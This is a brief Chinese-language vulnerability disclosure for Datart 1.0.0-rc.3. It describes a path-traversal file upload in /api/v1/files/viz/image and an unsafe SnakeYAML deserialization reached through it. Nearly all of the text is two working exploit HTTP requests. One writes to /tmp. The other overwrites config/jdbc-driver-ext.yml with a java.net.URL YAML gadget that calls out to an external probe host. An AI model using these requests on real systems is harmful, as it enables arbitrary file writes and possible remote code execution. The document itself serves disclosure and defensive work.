Datart 1.0.0-rc.3 在 POST /viz/image 接口中存在目录遍历漏洞,因为服务器直接使用 MultipartFile.transferTo() 将上传的文件保存到用户可控的路径,并且缺乏对文件名的严格验证。
POST /api/v1/files/viz/image?ownerType=DASHBOARD&ownerId=66822c13a9bc4381923456c11339497e&fileName=../../../../../../../../tmp/1 HTTP/1.1
Host: test.com
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySInMdoLRiubl32BW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Length: 4646
------WebKitFormBoundarySInMdoLRiubl32BW
Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type: image/jpeg
xxxxx
------WebKitFormBoundarySInMdoLRiubl32BW--
Datart 1.0.0-rc. 3 存在目录遍历漏洞。应用程序的配置文件处理机制允许攻击者将任意 YAML 文件上传到 config/jdbc-driver-ext. yml 路径。应用程序使用 SnakeYAML 不安全的 load() 或 loadAs() 方法解析该文件,且未进行输入清理。这允许反序列化攻击者控制的 YAML 内容,从而导致任意类实例化。在某些条件下,该漏洞可被利用以实现远程代码执行(RCE)。
POST /api/v1/files/viz/image?ownerType=DASHBOARD&ownerId=66822c13a9bc4381923456c11339497e&fileName=../../../../../config/jdbc-driver-ext.yml HTTP/1.1
Host: test.com
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySInMdoLRiubl32BW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Length: 4646
------WebKitFormBoundarySInMdoLRiubl32BW
Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type: image/jpeg
{!!java.net.URL ["http://test.eyes.sh/"]: 1}
------WebKitFormBoundarySInMdoLRiubl32BW--